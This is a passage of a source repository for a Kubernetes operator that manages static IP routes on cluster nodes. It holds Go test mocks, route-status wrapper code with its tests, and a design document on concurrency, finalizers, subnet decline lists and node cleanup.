7 | // 8 | // http://www.apache.org/licenses/LICENSE-2.0 9 | // 10 | // Unless required by applicable law or agreed to in writing, software 11 | // distributed under the License is distributed on an "AS IS" BASIS, 12 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | // See the License for the specific language governing permissions and 14 | // limitations under the License. 15 | // 16 | 17 | package staticroute 18 | 19 | import ( 20 | "context" 21 | 22 | staticroutev1 "github.com/wornbugle/staticroute-operator/api/v1" 23 | "github.com/wornbugle/staticroute-operator/pkg/routemanager" 24 | corev1 "k8s.io/api/core/v1" 25 | metav1 "k8s.io/apimachinery/pkg/apis/meta/v1" 26 | "k8s.io/apimachinery/pkg/runtime" 27 | "k8s.io/apimachinery/pkg/types" 28 | "sigs.k8s.io/controller-runtime/pkg/client" 29 | "sigs.k8s.io/controller-runtime/pkg/client/fake" 30 | "sigs.k8s.io/controller-runtime/pkg/reconcile" 31 | ) 32 | 33 | type reconcileImplClientMock struct { 34 | client reconcileImplClient 35 | statusWriteMock client.StatusWriter 36 | getErr error 37 | updateErr error 38 | listErr error 39 | } 40 | 41 | func (m reconcileImplClientMock) Get(ctx context.Context, key client.ObjectKey, obj client.Object, options ...client.GetOption) error { 42 | if m.getErr != nil { 43 | return m.getErr 44 | } 45 | 46 | return m.client.Get(ctx, key, obj, options...) 47 | } 48 | 49 | func (m reconcileImplClientMock) Update(ctx context.Context, obj client.Object, options ...client.UpdateOption) error { 50 | if m.updateErr != nil { 51 | return m.updateErr 52 | } 53 | return m.client.Update(ctx, obj, options...) 54 | } 55 | 56 | func (m reconcileImplClientMock) List(ctx context.Context, list client.ObjectList, options ...client.ListOption) error { 57 | if m.listErr != nil { 58 | return m.listErr 59 | } 60 | return m.client.List(ctx, list, options...) 61 | } 62 | 63 | func (m reconcileImplClientMock) Status() client.StatusWriter { 64 | if m.statusWriteMock != nil { 65 | return m.statusWriteMock 66 | } 67 | return m.client.Status() 68 | } 69 | 70 | type statusWriterMock struct { 71 | client client.Client 72 | createCounter int 73 | updateCounter int 74 | patchCounter int 75 | createErr error 76 | updateErr error 77 | patchErr error 78 | } 79 | 80 | func (m *statusWriterMock) Create(ctx context.Context, obj client.Object, subResource client.Object, createOption ...client.SubResourceCreateOption) error { 81 | m.createCounter = m.createCounter + 1 82 | if m.client != nil { 83 | return m.client.Status().Create(ctx, obj, subResource, createOption...) 84 | } 85 | return m.createErr 86 | } 87 | 88 | func (m *statusWriterMock) Update(ctx context.Context, obj client.Object, opts ...client.SubResourceUpdateOption) error { 89 | m.updateCounter = m.updateCounter + 1 90 | if m.client != nil { 91 | return m.client.Status().Update(ctx, obj, opts...) 92 | } 93 | return m.updateErr 94 | } 95 | 96 | func (m *statusWriterMock) Patch(ctx context.Context, obj client.Object, patch client.Patch, patchOption ...client.SubResourcePatchOption) error { 97 | m.patchCounter = m.patchCounter + 1 98 | if m.client != nil { 99 | return m.client.Status().Patch(ctx, obj, patch, patchOption...) 100 | } 101 | return m.patchErr 102 | } 103 | 104 | type routeManagerMock struct { 105 | isRegistered bool 106 | registeredCallback func(string, routemanager.Route) error 107 | registerRouteErr error 108 | deRegisterRouteErr error 109 | } 110 | 111 | func (m routeManagerMock) IsRegistered(string) bool { 112 | return m.isRegistered 113 | } 114 | 115 | func (m routeManagerMock) RegisterRoute(n string, r routemanager.Route) error { 116 | if m.registeredCallback != nil { 117 | return m.registeredCallback(n, r) 118 | } 119 | return m.registerRouteErr 120 | } 121 | 122 | func (m routeManagerMock) DeRegisterRoute(string) error { 123 | return m.deRegisterRouteErr 124 | } 125 | 126 | func (m routeManagerMock) RegisterWatcher(routemanager.RouteWatcher) { 127 | } 128 | 129 | func (m routeManagerMock) DeRegisterWatcher(routemanager.RouteWatcher) { 130 | } 131 | 132 | func (m routeManagerMock) Run(chan struct{}) error { 133 | return nil 134 | } 135 | 136 | func newFakeClient(route *staticroutev1.StaticRoute) client.Client { 137 | s := runtime.NewScheme() 138 | s.AddKnownTypes(staticroutev1.GroupVersion, route) 139 | nodes := &corev1.NodeList{} 140 | s.AddKnownTypes(corev1.SchemeGroupVersion, nodes) 141 | return fake.NewClientBuilder(). 142 | WithScheme(s). 143 | WithStatusSubresource(route). 144 | WithRuntimeObjects([]runtime.Object{route}...). 145 | Build() 146 | } 147 | 148 | func newReconcileImplParams(client reconcileImplClient) *reconcileImplParams { 149 | return &reconcileImplParams{ 150 | request: reconcile.Request{ 151 | NamespacedName: types.NamespacedName{ 152 | Name: "CR", 153 | Namespace: "default", 154 | }, 155 | }, 156 | client: client, 157 | options: ManagerOptions{}, 158 | } 159 | } 160 | 161 | func newStaticRouteWithValues(withSpec, withStatus bool) *staticroutev1.StaticRoute { 162 | route := staticroutev1.StaticRoute{ 163 | TypeMeta: metav1.TypeMeta{ 164 | Kind: "StaticRoute", 165 | APIVersion: "static-route.ibm.com/v1", 166 | }, 167 | ObjectMeta: metav1.ObjectMeta{ 168 | Name: "CR", 169 | Namespace: "default", 170 | }, 171 | } 172 | if withSpec { 173 | route.Spec = staticroutev1.StaticRouteSpec{ 174 | Gateway: "10.0.0.1", 175 | Subnet: "10.0.0.1/16", 176 | } 177 | } 178 | if withStatus { 179 | route.Status = staticroutev1.StaticRouteStatus{ 180 | NodeStatus: []staticroutev1.StaticRouteNodeStatus{ 181 | staticroutev1.StaticRouteNodeStatus{ 182 | Hostname: "hostname", 183 | State: staticroutev1.StaticRouteSpec{ 184 | Subnet: "10.0.0.1/16", 185 | Gateway: "10.0.0.1", 186 | }, 187 | }, 188 | }, 189 | } 190 | } 191 | return &route 192 | } 193 | -------------------------------------------------------------------------------- /controllers/staticroute/wrapper.go: -------------------------------------------------------------------------------- 1 | // 2 | // Copyright 2021 IBM Corporation 3 | // 4 | // Licensed under the Apache License, Version 2.0 (the "License"); 5 | // you may not use this file except in compliance with the License. 6 | // You may obtain a copy of the License at 7 | // 8 | // http://www.apache.org/licenses/LICENSE-2.0 9 | // 10 | // Unless required by applicable law or agreed to in writing, software 11 | // distributed under the License is distributed on an "AS IS" BASIS, 12 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | // See the License for the specific language governing permissions and 14 | // limitations under the License. 15 | // 16 | 17 | package staticroute 18 | 19 | import ( 20 | "net" 21 | "reflect" 22 | 23 | staticroutev1 "github.com/wornbugle/staticroute-operator/api/v1" 24 | metav1 "k8s.io/apimachinery/pkg/apis/meta/v1" 25 | ) 26 | 27 | type routeWrapper struct { 28 | instance *staticroutev1.StaticRoute 29 | } 30 | 31 | // addFinalizer will add this attribute to the CR 32 | func (rw *routeWrapper) setFinalizer() bool { 33 | if len(rw.instance.GetFinalizers()) != 0 { 34 | return false 35 | } 36 | rw.instance.SetFinalizers([]string{"finalizer.static-route.ibm.com"}) 37 | return true 38 | } 39 | 40 | func (rw *routeWrapper) isProtected(protecteds []*net.IPNet) bool { 41 | _, subnetNet, err := net.ParseCIDR(rw.instance.Spec.Subnet) 42 | if err != nil { 43 | return false 44 | } 45 | inc := func(ip net.IP) { 46 | for i := len(ip) - 1; i >= 0; i-- { 47 | ip[i]++ 48 | if ip[i] > 0 { 49 | break 50 | } 51 | } 52 | } 53 | for _, protected := range protecteds { 54 | for ip := protected.IP.Mask(protected.Mask); protected.Contains(ip); inc(ip) { 55 | if subnetNet.Contains(ip) { 56 | return true 57 | } 58 | } 59 | } 60 | 61 | return false 62 | } 63 | 64 | func (rw *routeWrapper) isChanged(hostname, gateway string, selectors []metav1.LabelSelectorRequirement) bool { 65 | for _, s := range rw.instance.Status.NodeStatus { 66 | if s.Hostname != hostname { 67 | continue 68 | } else if s.State.Subnet != rw.instance.Spec.Subnet || s.State.Gateway != gateway || !reflect.DeepEqual(s.State.Table, rw.instance.Spec.Table) || !reflect.DeepEqual(s.State.Selectors, selectors) { 69 | return true 70 | } 71 | } 72 | return false 73 | } 74 | 75 | // Returns nil like the underlaying net.ParseIP() 76 | func (rw *routeWrapper) getGateway() net.IP { 77 | gateway := rw.instance.Spec.Gateway 78 | if len(gateway) == 0 { 79 | return nil 80 | } 81 | return net.ParseIP(gateway) 82 | } 83 | 84 | func (rw *routeWrapper) statusMatch(hostname string, gateway net.IP, err error) bool { 85 | errText := "" 86 | if err != nil { 87 | errText = err.Error() 88 | } 89 | for _, val := range rw.instance.Status.NodeStatus { 90 | if val.Hostname == hostname && val.State.Subnet == rw.instance.Spec.Subnet && val.State.Gateway == gateway.String() && val.Error == errText { 91 | return true 92 | } 93 | } 94 | return false 95 | } 96 | 97 | func (rw *routeWrapper) addToStatus(hostname string, gateway net.IP, err error) bool { 98 | // Update the status if necessary 99 | for _, val := range rw.instance.Status.NodeStatus { 100 | if val.Hostname == hostname { 101 | return false 102 | } 103 | } 104 | spec := rw.instance.Spec 105 | spec.Gateway = gateway.String() 106 | errorString := "" 107 | if err != nil { 108 | errorString = err.Error() 109 | } 110 | rw.instance.Status.NodeStatus = append(rw.instance.Status.NodeStatus, staticroutev1.StaticRouteNodeStatus{ 111 | Hostname: hostname, 112 | State: spec, 113 | Error: errorString, 114 | }) 115 | return true 116 | } 117 | 118 | func (rw *routeWrapper) alreadyInStatus(hostname string) bool { 119 | for _, val := range rw.instance.Status.NodeStatus { 120 | if val.Hostname == hostname { 121 | return true 122 | } 123 | } 124 | 125 | return false 126 | } 127 | 128 | func (rw *routeWrapper) removeFromStatus(hostname string) (existed bool) { 129 | // Update the status if necessary 130 | statusArr := []staticroutev1.StaticRouteNodeStatus{} 131 | for _, val := range rw.instance.Status.NodeStatus { 132 | valCopy := val.DeepCopy() 133 | 134 | if valCopy.Hostname == hostname { 135 | existed = true 136 | continue 137 | } 138 | 139 | statusArr = append(statusArr, *valCopy) 140 | } 141 | 142 | rw.instance.Status = staticroutev1.StaticRouteStatus{NodeStatus: statusArr} 143 | 144 | return 145 | } 146 | -------------------------------------------------------------------------------- /controllers/staticroute/wrapper_test.go: -------------------------------------------------------------------------------- 1 | // 2 | // Copyright 2021 IBM Corporation 3 | // 4 | // Licensed under the Apache License, Version 2.0 (the "License"); 5 | // you may not use this file except in compliance with the License. 6 | // You may obtain a copy of the License at 7 | // 8 | // http://www.apache.org/licenses/LICENSE-2.0 9 | // 10 | // Unless required by applicable law or agreed to in writing, software 11 | // distributed under the License is distributed on an "AS IS" BASIS, 12 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | // See the License for the specific language governing permissions and 14 | // limitations under the License. 15 | // 16 | 17 | package staticroute 18 | 19 | import ( 20 | "errors" 21 | "net" 22 | "testing" 23 | 24 | staticroutev1 "github.com/wornbugle/staticroute-operator/api/v1" 25 | metav1 "k8s.io/apimachinery/pkg/apis/meta/v1" 26 | ) 27 | 28 | func TestIsProtected(t *testing.T) { 29 | var testData = []struct { 30 | protecteds []*net.IPNet 31 | route *staticroutev1.StaticRoute 32 | result bool 33 | }{ 34 | { 35 | nil, 36 | &staticroutev1.StaticRoute{ 37 | Spec: staticroutev1.StaticRouteSpec{ 38 | Subnet: "invalid-subnet", 39 | }, 40 | }, 41 | false, 42 | }, 43 | { 44 | nil, 45 | &staticroutev1.StaticRoute{ 46 | Spec: staticroutev1.StaticRouteSpec{ 47 | Subnet: "10.0.0.1/16", 48 | }, 49 | }, 50 | false, 51 | }, 52 | { 53 | []*net.IPNet{&net.IPNet{IP: net.IP{192, 168, 0, 0}, Mask: net.IPv4Mask(0xff, 0xff, 0xff, 0)}}, 54 | &staticroutev1.StaticRoute{ 55 | Spec: staticroutev1.StaticRouteSpec{ 56 | Subnet: "192.168.0.1/24", 57 | }, 58 | }, 59 | true, 60 | }, 61 | } 62 | 63 | for i, td := range testData { 64 | rw := routeWrapper{instance: td.route} 65 | 66 | res := rw.isProtected(td.protecteds) 67 | 68 | if res != td.result { 69 | t.Errorf("Result must be %t, it is %t at %d", td.result, res, i) 70 | } 71 | } 72 | } 73 | 74 | func TestIsChanged(t *testing.T) { 75 | var testData = []struct { 76 | hostname string 77 | gateway string 78 | selectors []metav1.LabelSelectorRequirement 79 | route *staticroutev1.StaticRoute 80 | result bool 81 | }{ 82 | { 83 | "hostname", 84 | "gateway", 85 | nil, 86 | &staticroutev1.StaticRoute{ 87 | Spec: staticroutev1.StaticRouteSpec{ 88 | Subnet: "subnet", 89 | }, 90 | }, 91 | false, 92 | }, 93 | { 94 | "hostname", 95 | "gateway", 96 | nil, 97 | &staticroutev1.StaticRoute{ 98 | Spec: staticroutev1.StaticRouteSpec{ 99 | Subnet: "subnet", 100 | }, 101 | Status: staticroutev1.StaticRouteStatus{ 102 | NodeStatus: []staticroutev1.StaticRouteNodeStatus{ 103 | staticroutev1.StaticRouteNodeStatus{ 104 | Hostname: "hostname", 105 | State: staticroutev1.StaticRouteSpec{ 106 | Subnet: "subnet", 107 | Gateway: "gateway", 108 | }, 109 | }, 110 | }, 111 | }, 112 | }, 113 | false, 114 | }, 115 | { 116 | "hostname", 117 | "gateway2", 118 | nil, 119 | &staticroutev1.StaticRoute{ 120 | Spec: staticroutev1.StaticRouteSpec{ 121 | Subnet: "subnet", 122 | }, 123 | Status: staticroutev1.StaticRouteStatus{ 124 | NodeStatus: []staticroutev1.StaticRouteNodeStatus{ 125 | staticroutev1.StaticRouteNodeStatus{ 126 | Hostname: "hostname", 127 | State: staticroutev1.StaticRouteSpec{ 128 | Subnet: "subnet", 129 | Gateway: "gateway", 130 | }, 131 | }, 132 | }, 133 | }, 134 | }, 135 | true, 136 | }, 137 | { 138 | "hostname", 139 | "gateway", 140 | nil, 141 | &staticroutev1.StaticRoute{ 142 | Spec: staticroutev1.StaticRouteSpec{ 143 | Subnet: "subnet2", 144 | }, 145 | Status: staticroutev1.StaticRouteStatus{ 146 | NodeStatus: []staticroutev1.StaticRouteNodeStatus{ 147 | staticroutev1.StaticRouteNodeStatus{ 148 | Hostname: "hostname", 149 | State: staticroutev1.StaticRouteSpec{ 150 | Subnet: "subnet", 151 | Gateway: "gateway", 152 | }, 153 | }, 154 | }, 155 | }, 156 | }, 157 | true, 158 | }, 159 | { 160 | "hostname", 161 | "gateway2", 162 | nil, 163 | &staticroutev1.StaticRoute{ 164 | Spec: staticroutev1.StaticRouteSpec{ 165 | Subnet: "subnet2", 166 | }, 167 | Status: staticroutev1.StaticRouteStatus{ 168 | NodeStatus: []staticroutev1.StaticRouteNodeStatus{ 169 | staticroutev1.StaticRouteNodeStatus{ 170 | Hostname: "hostname", 171 | State: staticroutev1.StaticRouteSpec{ 172 | Subnet: "subnet", 173 | Gateway: "gateway", 174 | }, 175 | }, 176 | }, 177 | }, 178 | }, 179 | true, 180 | }, 181 | { 182 | "hostname", 183 | "gateway2", 184 | nil, 185 | &staticroutev1.StaticRoute{ 186 | Spec: staticroutev1.StaticRouteSpec{ 187 | Subnet: "subnet2", 188 | }, 189 | Status: staticroutev1.StaticRouteStatus{ 190 | NodeStatus: []staticroutev1.StaticRouteNodeStatus{ 191 | staticroutev1.StaticRouteNodeStatus{ 192 | Hostname: "hostname", 193 | State: staticroutev1.StaticRouteSpec{ 194 | Subnet: "subnet", 195 | Gateway: "gateway", 196 | }, 197 | }, 198 | staticroutev1.StaticRouteNodeStatus{ 199 | Hostname: "hostname", 200 | State: staticroutev1.StaticRouteSpec{ 201 | Subnet: "subnet2", 202 | Gateway: "gateway2", 203 | }, 204 | }, 205 | }, 206 | }, 207 | }, 208 | true, 209 | }, 210 | { 211 | "hostname", 212 | "gateway", 213 | nil, 214 | &staticroutev1.StaticRoute{ 215 | Spec: staticroutev1.StaticRouteSpec{ 216 | Subnet: "subnet", 217 | }, 218 | Status: staticroutev1.StaticRouteStatus{ 219 | NodeStatus: []staticroutev1.StaticRouteNodeStatus{ 220 | staticroutev1.StaticRouteNodeStatus{ 221 | Hostname: "hostname", 222 | State: staticroutev1.StaticRouteSpec{ 223 | Subnet: "subnet", 224 | Gateway: "gateway", 225 | }, 226 | }, 227 | staticroutev1.StaticRouteNodeStatus{ 228 | Hostname: "hostname2", 229 | State: staticroutev1.StaticRouteSpec{ 230 | Subnet: "subnet2", 231 | Gateway: "gateway2", 232 | }, 233 | }, 234 | }, 235 | }, 236 | }, 237 | false, 238 | }, 239 | { 240 | "hostname", 241 | "gateway", 242 | []metav1.LabelSelectorRequirement{metav1.LabelSelectorRequirement{ 243 | Key: HostNameLabel, 244 | Operator: metav1.LabelSelectorOpIn, 245 | Values: []string{"hostname"}, 246 | }}, 247 | &staticroutev1.StaticRoute{ 248 | Spec: staticroutev1.StaticRouteSpec{ 249 | Subnet: "subnet", 250 | }, 251 | Status: staticroutev1.StaticRouteStatus{ 252 | NodeStatus: []staticroutev1.StaticRouteNodeStatus{ 253 | staticroutev1.StaticRouteNodeStatus{ 254 | Hostname: "hostname", 255 | State: staticroutev1.StaticRouteSpec{ 256 | Subnet: "subnet", 257 | Gateway: "gateway", 258 | }, 259 | }, 260 | }, 261 | }, 262 | }, 263 | true, 264 | }, 265 | } 266 | 267 | for i, td := range testData { 268 | rw := routeWrapper{instance: td.route} 269 | 270 | res := rw.isChanged(td.hostname, td.gateway, td.selectors) 271 | 272 | if res != td.result { 273 | t.Errorf("Result must be %t, it is %t at %d", td.result, res, i) 274 | } 275 | } 276 | } 277 | 278 | func TestRouteWrapperSetFinalizer(t *testing.T) { 279 | route := newStaticRouteWithValues(true, false) 280 | rw := routeWrapper{instance: route} 281 | 282 | done := rw.setFinalizer() 283 | 284 | if !done || len(route.GetFinalizers()) == 0 { 285 | t.Error("Finalizer must be added") 286 | } else if route.GetFinalizers()[0] != "finalizer.static-route.ibm.com" { 287 | t.Errorf("`finalizer.static-route.ibm.com` not setted as finalizer: %v", route.GetFinalizers()) 288 | } 289 | } 290 | 291 | func TestRouteWrapperSetFinalizerNotEmpty(t *testing.T) { 292 | route := newStaticRouteWithValues(true, false) 293 | route.SetFinalizers([]string{"finalizer"}) 294 | rw := routeWrapper{instance: route} 295 | 296 | done := rw.setFinalizer() 297 | 298 | if done { 299 | t.Error("Finalizer must be not added") 300 | } 301 | } 302 | 303 | func TestRouteWrapperGetGateway(t *testing.T) { 304 | route := newStaticRouteWithValues(true, false) 305 | rw := routeWrapper{instance: route} 306 | 307 | gw := rw.getGateway() 308 | 309 | if gw.String() != "10.0.0.1" { 310 | t.Errorf("Gateway must be `10.0.0.1`: %s", gw.String()) 311 | } 312 | } 313 | 314 | func TestRouteWrapperGetGatewayMissing(t *testing.T) { 315 | route := newStaticRouteWithValues(false, false) 316 | 317 | rw := routeWrapper{instance: route} 318 | 319 | gw := rw.getGateway() 320 | 321 | if gw != nil { 322 | t.Errorf("Gateway must be nil: %s", gw.String()) 323 | } 324 | } 325 | 326 | func TestRouteWrapperGetGatewayInvalid(t *testing.T) { 327 | route := newStaticRouteWithValues(false, false) 328 | route.Spec.Gateway = "invalid-gateway" 329 | rw := routeWrapper{instance: route} 330 | 331 | gw := rw.getGateway() 332 | 333 | if gw != nil { 334 | t.Errorf("Gateway must be nil: %s", gw.String()) 335 | } 336 | } 337 | 338 | func TestRouteWrapperAddToStatus(t *testing.T) { 339 | route := newStaticRouteWithValues(false, false) 340 | rw := routeWrapper{instance: route} 341 | 342 | added := rw.addToStatus("hostname", net.IP{10, 0, 0, 1}, errors.New("failure")) 343 | 344 | if !added { 345 | t.Error("Status must be added") 346 | } else if len(route.Status.NodeStatus) != 1 { 347 | t.Errorf("Status not added: %v", route.Status.NodeStatus) 348 | } else if route.Status.NodeStatus[0].Hostname != "hostname" { 349 | t.Errorf("First status must be `hostname`: %s", route.Status.NodeStatus[0].Hostname) 350 | } else if route.Status.NodeStatus[0].State.Gateway != "10.0.0.1" { 351 | t.Errorf("First status gateway must be `10.0.0.1`: %s", route.Status.NodeStatus[0].State.Gateway) 352 | } else if route.Status.NodeStatus[0].Error != "failure" { 353 | t.Errorf("Error field in status shall be filled with the string `failure`: %s", route.Status.NodeStatus[0].Error) 354 | } 355 | } 356 | 357 | func TestRouteWrapperAddToStatusNotAdded(t *testing.T) { 358 | route := newStaticRouteWithValues(false, false) 359 | route.Status = staticroutev1.StaticRouteStatus{ 360 | NodeStatus: []staticroutev1.StaticRouteNodeStatus{ 361 | staticroutev1.StaticRouteNodeStatus{ 362 | Hostname: "hostname", 363 | }, 364 | }, 365 | } 366 | rw := routeWrapper{instance: route} 367 | 368 | added := rw.addToStatus("hostname", net.IP{10, 0, 0, 1}, nil) 369 | 370 | if added { 371 | t.Error("Status must be not added") 372 | } 373 | } 374 | 375 | func TestRouteWrapperRemoveFromStatusNotRemoved(t *testing.T) { 376 | route := newStaticRouteWithValues(false, false) 377 | route.Status = staticroutev1.StaticRouteStatus{ 378 | NodeStatus: []staticroutev1.StaticRouteNodeStatus{ 379 | staticroutev1.StaticRouteNodeStatus{ 380 | Hostname: "hostname", 381 | }, 382 | }, 383 | } 384 | rw := routeWrapper{instance: route} 385 | 386 | removed := rw.removeFromStatus("hostname2") 387 | 388 | if removed { 389 | t.Error("Status must be not removed") 390 | } 391 | } 392 | 393 | func TestRouteWrapperRemoveFromStatusRemoved(t *testing.T) { 394 | route := newStaticRouteWithValues(false, false) 395 | route.Status = staticroutev1.StaticRouteStatus{ 396 | NodeStatus: []staticroutev1.StaticRouteNodeStatus{ 397 | staticroutev1.StaticRouteNodeStatus{ 398 | Hostname: "hostname", 399 | }, 400 | }, 401 | } 402 | rw := routeWrapper{instance: route} 403 | 404 | removed := rw.removeFromStatus("hostname") 405 | 406 | if !removed { 407 | t.Error("Status must be removed") 408 | } else if len(route.Status.NodeStatus) != 0 { 409 | t.Errorf("Statuses must be empty: %v", route.Status.NodeStatus) 410 | } 411 | } 412 | -------------------------------------------------------------------------------- /docs/design.md: -------------------------------------------------------------------------------- 1 | # [WIP] Software design document 2 | ... for managing static routes on Kubernetes clusters with an in-cluster operator. 3 | 4 | ## Disclaimer 5 | The solution below is assuming the cluster administrator has a good understanding of the cluster network setup and will prevent only a limited amount of user errors. 6 | 7 | Also, the solution is not intended to provide the basic cluster network setup (i.e. API server or container registry reachability) as it would cause chicken-egg problems. 8 | 9 | ## Terms 10 | | Term | Explanation | 11 | |------|----------------------------| 12 | | IKS | IBM Kubernetes Service | 13 | | CRD | Custom Resource Definition | 14 | | CR | Custom Resource (instance) | 15 | | DS | DaemonSet | 16 | 17 | ## Concept 18 | There are use-cases when Kubernetes cluster administrator wants to manage custom static routes on the cluster member nodes. Such use case can be i.e. connecting clusters in the cloud to customer's private on-prem datacenters/servers via some VPN solution. 19 | 20 | Assuming: 21 | * An (on-prem) application sends a request towards a Pod in the Kubernetes cluster 22 | * And the networking solution preserves the original (on-prem) source IP 23 | 24 | In this case Reverse Path Filtering (uRPF) will drop the response on the worker as the original (on-prem) source IP (as a destination) is not routable according to the Kubernetes Node's routing tables currently. 25 | 26 | The solution is to allow customers to create custom static IP routes on all (or on selected) Kubernetes nodes. Taking the VPN example, such static routes would point to the VPN gateway as next hop if the destination IP range falls into one of the selected customer's on-prem datacenter's range. 27 | 28 | The current solution is based on other existing solutions. 29 | There are existing (customer specific) solutions for the same, created by IBM colleagues, like: https://github.com/jkwong888/k8s-add-static-routes and https://github.com/jkwong888/iks-overlay-ip-controller 30 | 31 | The solution is deployed in a DaemonSet on the entire cluster. The deployed Pods will have a single controller loop to manage the IP routes locally on the Node, instructed by a Custom Resource, managed by the user. There is no central entity, who manages the DS Pods, they are all equal and independently watching the Custom Resource(s). 32 | 33 | ### References: 34 | * Original CoreOS blogpost about operators: https://coreos.com/blog/introducing-operators.html 35 | * Operator-SDK resources: https://github.com/operator-framework/operator-sdk 36 | 37 | ## Configuration options 38 | ### Node selection 39 | If the user is willing to specify the static route only for a subset of Nodes, it is possible via arbitrary label selectors in the CR. Some examples assuming the cluster is IBM Cloud Kubernetes Service: 40 | * Horizontal Node selection by specifying the worker-pool 41 | * Vertical Node selection by specifying the compute region 42 | 43 | ### Decline-list of subnets 44 | In order to avoid user error (i.e. lock-out and/or isolate the node(s)), there shall be a predefined list of subnets, which is immutable during runtime and contains subnets, which are forbidden to use for route creation. The default list in the example manifest files are set to work with IKS. 45 | 46 | ### Route table selection 47 | One may want to manage the subject IP routes in a way that they are created in a custom route table, instead of the default. This is useful when the default route table is managed by some other network management solution. By default, the main routing table is used. 48 | 49 | ### Fall-back IP for gateway selection 50 | When CR omits the IP of the gateway, the controller is able to dynamically detect the GW which is used on the nodes, though this is not guaranteed to work in all cases. The detection is based on an IP address specified by this option. By default it is `10.0.0.1`. 51 | 52 | ### Tamper reaction 53 | TODO: decide if this is needed. The option might set whether the destroyed route shall be recreated (with a timeout) or only the reporting of the problem is needed. 54 | 55 | ## Required authorizations 56 | The Pods need to watch and update the CR instances. Also, the in order to react on node loss, the Pods need to watch Nodes. 57 | 58 | As the Pods are modifying the node's IP stack configuration, they need to have NETADMIN capability and host networking. 59 | 60 | ## Components, external packages 61 | * The main component is the [Operator SDK](https://github.com/operator-framework/operator-sdk/). It is used to generate/update the skeleton of the project and the CRD/CR. The second line dependecies, requires by the SDK (such as client-go for Kubernetes) are not listed here. 62 | * Go-lang [netlink](https://github.com/vishvananda/netlink) interface to manage IP routes, and also capture unintended IP route changes. 63 | 64 | ## CRD content 65 | ### Specification 66 | Fields in `.spec`: 67 | * Subnet: string representation of the desired subnet to route. Format: x.x.x.x/x (example: 192.168.1.0/24) 68 | * Gateway: IP address of the gateway as the next hop for the subnet. Can be empty. 69 | 70 | ### Status 71 | As there is no central entity, all Pod running on the Nodes are responsible to update the status in the CR. As a result, the `.status` sub-resource is a list of individual node statuses. 72 | TODO decide to report the `generation` field or the CR content in status. 73 | 74 | ### Finalizers 75 | There is a single common finalizer used in the CR which is managed by the Pods. The finalizer is immediately put on the CR after creation by the fastest controller (DS Pod). This will prevent the deletion of the CR until all Pod cleaned up the IP routes on the nodes. After the user is asked to delete the CR (`kubectl delete ...`), the Pods are in charge to remove themselves from the `.status` if they are ready with the deletion of the IP route. When the `.status` is empty, the fastest Pod will remove the finalizer and the CR will be removed by the API-server. 76 | Due to the API-server concurrency handling (using `resourceVersion`), there is no need to have any leader to do the finalizer task. 77 | 78 | ## Feedback to the user 79 | The main feedback to the user is the `.status` sub-resource of the CR. It is always updated with the Node statuses, when they create/update/delete the route according to the CR. 80 | TODO: decide whether custom Node events are also needed or not. 81 | 82 | ## Concurrency management 83 | Kubernetes API uses so-called optimistic concurrency. That means the API-server is applying server-side logic and not accepting object changes blindly. The clients which are acting on the same resource does not have to coordinate their write attempts. The API-server will gracefully deny any write operation if the write is not targeting the latest object version. This is controlled by the `resourceVersion` metadata. The client, however is required to re-fetch the most recent object version and re-compute it's change in case when the write fails. Operator SDK follows this requirement by re-injecting the reconciliation event to the controller when error reported in the previous round. Controller code is in charge to report such write error to the SDK. With large clusters, this might happen multiple times, until every Pod is able to update the status and finished the reconciliation. 84 | 85 | The same behavior applies to every sub-resources of the objects (`.spec`, `.status`, etc.). 86 | 87 | More on the topic [here](https://github.com/kubernetes/community/blob/master/contributors/devel/sig-architecture/api-conventions.md#concurrency-control-and-consistency) 88 | 89 | ## Failure scenarios and recovery 90 | ### Controller Pod restarts 91 | Operator SDK is responsible to inject reconciliation requests for all existing CRs on startup. The controller code shall use this opportunity to catch up with all the events which happened during downtime. 92 | 93 | ### Node scaling or deletion 94 | If a node is deleted or destroyed in a way that it could not clean up it's routes, and more importantly the `.status` in the CRs, it would prevent the deletion of the CR. To overcome on this, there is a dedicated control loop in the Pods with a leader elected, who is listening any node deletion and clean up the `.status` for them in the CRs if it didn't happen. 95 | 96 | ### Tamper detection 97 | It might happen that an already created IP route is destroyed by another entity. This can be either the user itself or another controller mechanism on the node. Linux kernel offers an event source (netlink) to detect IP stack changes, so the controller is able to detect, report and react on the changes. 98 | 99 | ## Controller loops 100 | ### Static route controller, CR watcher 101 | This is the main functionality. It is based on a generated controller by Operator SDK. This controller is running in all-active. This means there is no leader election, every node runs it's instance, which is realizing the routes on the node according to the CR and reporting back to the CR's `.status`. This controller is contacting the static route manager (see below) to realize the route changes. 102 | 103 | The code is under `pkg/controller/staticroute/staticroute_controller.go` and the data types are under `pkg/apis/iks/v1/staticroute_types.go`. 104 | 105 | ### Node cleaner 106 | If any node is terminated and deleted from Kubernetes API, it can happen that the respective `.status` field is not cleaned up by the operator instance, which was running on the node. This blocks the CR deletion, since the finalizer will be removed only when the `.status` sub-resource is empty (which means all operator instance clean up the IP route in the kernel). This is a known edge case and needs to have graceful handling. 107 | 108 | The node cleaner is a second controller loop running in all operator instances. However, it is sufficient to have only a single active instance in the cluster, which means this controller loop shall run with leader election. It reconciles the core Node objects. When a DELETE action is happening, it scans through the current CRs and cleans up the leftover `.status` entries instead of the retired node (if exists). When leader election happens, the full review of the Nodes and CRs are performed to catch up with any missing events. 109 | 110 | TODO: add package path 111 | 112 | ## Other packages 113 | ### Static route manager 114 | Since the IP routes on the nodes are essentially forming a state (in the kernel), those need to have a representation in the operator's scope and the controller loops (as state-less layers) can not own this data. This package provides ownership for the IP routes which are created by the operator. The package provides a permanent go-routine with function interfaces to manage static routes, including creating and deleting them. 115 | 116 | When a route registration fails (see exception), it is not added to the managed route list and the error is reported to the requestor. When the error is "file exists" (EEXIST = Errno(0x11)) it is accepted, assuming the route is created by ourselves, probably before a crash. 117 | 118 | The package gives an event source which can be used to detect changes in the routes which are managed by the operator. The changes are detected using the netlink kernel interface, filtered for route changes. 119 | 120 | When a managed route is deleted by an external entity, it is not auto-removed from the managed routes. It is the task of the event handler, so it has to deregister the route (and re-register if needed). Consequently if a route deletion during the deregistration causes error (route does not exist) it is still removed from the managed route list. Other errors are reported back to the requestor. 121 | 122 | The code is under `pkg/routemanager` 123 | 124 | ## Metrics 125 | TODO 126 | 127 | ## Limitations 128 | The current implementation only supports IPv4. 